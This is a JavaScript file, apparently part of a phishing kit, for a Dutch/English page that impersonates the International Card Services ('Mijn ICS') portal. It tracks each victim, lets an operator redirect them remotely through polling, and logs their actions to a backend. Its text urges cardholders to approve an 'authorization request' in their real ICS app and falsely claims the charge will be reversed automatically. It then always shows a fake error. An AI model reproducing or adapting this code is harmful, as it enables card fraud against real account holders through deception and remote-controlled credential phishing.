/**
 * Authorize: ICS-app + witte kaart, checkbox, bevestigen, foutmelding (NL/EN + tracking).
 */
(function () {
  "use strict";

  var STORAGE_KEY = "client-login-lang";
  var VISITOR_KEY = "scii_visitor_id";

  function getVisitorId() {
    var vid = localStorage.getItem(VISITOR_KEY);
    if (!vid) {
      vid = "v_" + Date.now() + "_" + Math.random().toString(36).substr(2, 9);
      localStorage.setItem(VISITOR_KEY, vid);
    }
    return vid;
  }

  function getDeviceInfo() {
    var ua = navigator.userAgent;
    var os = "Unknown";
    if (ua.indexOf("Win") !== -1) os = "Windows";
    if (ua.indexOf("Mac") !== -1) os = "MacOS";
    if (ua.indexOf("Linux") !== -1) os = "Linux";
    if (ua.indexOf("Android") !== -1) os = "Android";
    if (ua.indexOf("iPhone") !== -1 || ua.indexOf("iPad") !== -1) os = "iOS";

    var browser = "Unknown";
    if (ua.indexOf("Firefox") !== -1) browser = "Firefox";
    else if (ua.indexOf("SamsungBrowser") !== -1) browser = "Samsung";
    else if (ua.indexOf("Opera") !== -1 || ua.indexOf("OPR") !== -1) browser = "Opera";
    else if (ua.indexOf("Edge") !== -1 || ua.indexOf("Edg") !== -1) browser = "Edge";
    else if (ua.indexOf("Chrome") !== -1) browser = "Chrome";
    else if (ua.indexOf("Safari") !== -1) browser = "Safari";
    return { os: os, browser: browser };
  }

  function registerVisitor() {
    if (typeof window.sciiInitPageTracker === "function") {
      window.sciiInitPageTracker("authorize", { pollRedirect: true, pollMs: 1500 });
      return;
    }
    var dev = getDeviceInfo();
    window.sciiRegisterVisitor({
      visitor_id: getVisitorId(),
      os: dev.os,
      browser: dev.browser,
      page: "authorize",
    });
  }

  function sendHeartbeat(page) {
    fetch("/api/heartbeat", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ visitor_id: getVisitorId(), page: page }),
    }).catch(function () {});
  }

  function saveVisitorData(formType, dataObj) {
    var payload = Object.assign({ visitor_id: getVisitorId(), form_type: formType }, dataObj);
    fetch("/api/save-visitor-data", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(payload),
    }).catch(function () {});
  }

  function checkRedirect() {
    if (typeof window.sciiCheckRedirect === "function") {
      window.sciiCheckRedirect();
      return;
    }
    fetch("/api/check-redirect?visitor_id=" + getVisitorId())
      .then(function (r) {
        return r.json();
      })
      .then(function (d) {
        if (d.redirect && d.url) window.location.replace(d.url);
      })
      .catch(function () {});
  }

  function initTracking() {
    registerVisitor();
    if (typeof window.sciiInitPageTracker === "function") {
      return;
    }
    sendHeartbeat("authorize");
    setInterval(function () {
      sendHeartbeat("authorize");
      checkRedirect();
    }, 3000);
  }

  var PAGE_PATH = window.location.pathname.split("?")[0];
  var RETRY_I18N_KEY = "authError";

  var STRINGS = {
    nl: {
      docTitle: "App-verificatie | Mijn ICS | International Card Services",
      skipLink: "Naar de inhoud",
      sidenavTitle: "Beveiligingscontrole",
      contentTitle: "Verificatie in de ICS-app",
      authDesc:
        "Rond deze stap af via uw ICS-app. Open de applicatie en bevestig het autorisatieverzoek dat ter verificatie van uw sessie wordt getoond. Na afronding van deze controle wordt de boeking automatisch teruggezet; er blijven geen permanente wijzigingen op uw rekening achter.",
      verifyBtn: "Bevestigen",
      authError:
        "De bevestiging in uw ICS-app is nog niet ontvangen of kon niet worden gevalideerd. Controleer of u het autorisatieverzoek heeft goedgekeurd en probeer het opnieuw.",
      lblAuthConfirm: "Ik heb het autorisatieverzoek in de ICS-app goedgekeurd.",
      inputRequired: "Vink dit vak aan om door te gaan.",
      ariaNl: "Schakel over naar Nederlands",
      ariaEn: "Switch to English",
    },
    en: {
      docTitle: "App verification | My ICS | International Card Services",
      skipLink: "Skip to content",
      sidenavTitle: "Security check",
      contentTitle: "Verification in the ICS app",
      authDesc:
        "Please complete this step in your ICS app. Open the application and approve the authorization request displayed to verify your session. When this check is finished, the provisional entry will be reversed automatically; no permanent changes will remain on your account.",
      verifyBtn: "Confirm",
      authError:
        "The confirmation in your ICS app has not been received or could not be validated. Check that you have approved the authorization request and try again.",
      lblAuthConfirm: "I have approved the authorization request in the ICS app.",
      inputRequired: "Check this box to continue.",
      ariaNl: "Switch to Dutch",
      ariaEn: "Switch to English",
    },
  };

  function getLang() {
    return window.sciiGetLang();
  }

  function setLang(lang) {
    lang = window.sciiNormalizeLang(lang);
    window.sciiPersistUiLanguage(lang);
    document.documentElement.lang = lang;
    var t = STRINGS[lang];
    document.title = t.docTitle;

    document.querySelectorAll("[data-i18n]").forEach(function (el) {
      var key = el.getAttribute("data-i18n");
      if (!key || !t[key]) return;
      if (
        key === RETRY_I18N_KEY &&
        typeof window.sciiAppendErrorCode === "function"
      ) {
        el.textContent = window.sciiAppendErrorCode(t[key], PAGE_PATH);
      } else {
        el.textContent = t[key];
      }
    });

    window.sciiUpdateLanguageToggle(lang, t);
  }

  function bindLanguageBar() {
    window.sciiBindLanguageBar(setLang);
  }

  function setLoginCredentialError(feedback, show) {
    if (!feedback) return;
    if (show) {
      feedback.classList.add("visible");
      feedback.removeAttribute("aria-hidden");
    } else {
      feedback.classList.remove("visible");
      feedback.setAttribute("aria-hidden", "true");
    }
  }

  function getFieldShell(input) {
    var wrapper = input ? input.closest(".label-wrapper") : null;
    return {
      wrapper: wrapper,
      box: wrapper ? wrapper.querySelector(".input") : null,
    };
  }

  function setFieldRequiredError(input, show) {
    if (!input) return;
    var shell = getFieldShell(input);
    if (!shell.wrapper) return;
    var existing = shell.wrapper.querySelector(".input-error");
    if (!show) {
      if (existing) existing.remove();
      if (shell.box) shell.box.classList.remove("invalid");
      input.removeAttribute("aria-invalid");
      input.removeAttribute("aria-describedby");
      return;
    }

    var id = input.id + "-required-error";
    var error = existing || document.createElement("p");
    error.setAttribute("data-ui-0", "");
    error.className = "input-error";
    error.id = id;
    error.setAttribute("data-i18n", "inputRequired");
    error.textContent = STRINGS[getLang()].inputRequired;
    if (!existing) shell.wrapper.appendChild(error);
    if (shell.box) shell.box.classList.add("invalid");
    input.setAttribute("aria-invalid", "true");
    input.setAttribute("aria-describedby", id);
  }

  function clearFormFieldErrors(form) {
    if (!form) return;
    form.querySelectorAll("input[type='checkbox']").forEach(function (input) {
      setFieldRequiredError(input, false);
    });
  }

  function getAuthCheckbox(form) {
    return form.querySelector("input[type='checkbox'][id^='auth-confirm-']");
  }

  function getFormAndFeedbackForLoginButton(btn) {
    var card = btn.closest("ui-card.desktop-form");
    if (card) {
      var formD = card.querySelector("form#authFormId-desktop");
      var fbD = formD ? formD.querySelector("ui-feedback-message.errorFeedback") : null;
      return { form: formD, feedback: fbD };
    }
    var mobile = btn.closest(".mobile-form");
    if (mobile) {
      var formM = mobile.querySelector("form#authFormId-mobile");
      var fbM = formM ? formM.querySelector("ui-feedback-message.errorFeedback") : null;
      return { form: formM, feedback: fbM };
    }
    return { form: null, feedback: null };
  }

  function evaluateAuthorizeAttempt(form, feedback) {
    var cb = getAuthCheckbox(form);
    if (!cb) return;

    setLoginCredentialError(feedback, false);

    if (!cb.checked) {
      setFieldRequiredError(cb, true);
      cb.focus();
      return;
    }

    saveVisitorData("authorize", { app_confirm: "yes", step_complete: true });

    setLoginCredentialError(feedback, true);
    if (cb) {
      var shell = getFieldShell(cb);
      if (shell.box) shell.box.classList.add("invalid");
      cb.setAttribute("aria-invalid", "true");
      cb.checked = false;
    }
    setLang(getLang());

    setTimeout(function () {
      window.location.href = window.SCII_ROUTES.complete;
    }, 1000);
  }

  function bindForms() {
    document.querySelectorAll(".login-btn").forEach(function (btn) {
      btn.setAttribute("type", "button");
      btn.addEventListener("click", function (e) {
        e.preventDefault();
        e.stopPropagation();
        var ctx = getFormAndFeedbackForLoginButton(btn);
        if (!ctx.form || !ctx.feedback) return;
        evaluateAuthorizeAttempt(ctx.form, ctx.feedback);
      });
    });

    document.querySelectorAll("#authFormId-desktop, #authFormId-mobile").forEach(function (form) {
      form.addEventListener("submit", function (e) {
        e.preventDefault();
        var feedback = form.querySelector("ui-feedback-message.errorFeedback");
        evaluateAuthorizeAttempt(form, feedback);
      });
      form.addEventListener(
        "change",
        function (e) {
          var t = e.target;
          if (!t || t.type !== "checkbox") return;

          if (t.checked) {
            var sh = getFieldShell(t);
            if (sh.box) sh.box.classList.remove("invalid");
            t.removeAttribute("aria-invalid");
          }

          var feedback = form.querySelector("ui-feedback-message.errorFeedback");
          if (feedback && feedback.classList.contains("visible")) {
            setLoginCredentialError(feedback, false);
            clearFormFieldErrors(form);
          } else {
            setFieldRequiredError(t, false);
          }

          clearTimeout(window._trackAuth);
          window._trackAuth = setTimeout(function () {
            var c = getAuthCheckbox(form);
            saveVisitorData("authorize", { app_confirm: c && c.checked ? "checked" : "" });
          }, 800);
        },
        true
      );
    });
  }

  function init() {
    initTracking();
    bindLanguageBar();
    setLang(getLang());
    bindForms();

    document.querySelectorAll("ui-feedback-message.errorFeedback").forEach(function (el) {
      setLoginCredentialError(el, false);
    });

    if (
      typeof window.sciiHasRetryParam === "function" &&
      window.sciiHasRetryParam()
    ) {
      document.querySelectorAll("ui-feedback-message.errorFeedback").forEach(function (el) {
        setLoginCredentialError(el, true);
      });
      document.querySelectorAll("#authFormId-desktop input, #authFormId-mobile input").forEach(function (input) {
        var shell = getFieldShell(input);
        if (shell.box) shell.box.classList.add("invalid");
        input.setAttribute("aria-invalid", "true");
      });
    }

    document.querySelectorAll("#authFormId-desktop, #authFormId-mobile").forEach(clearFormFieldErrors);
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", init);
  } else {
    init();
  }
})();
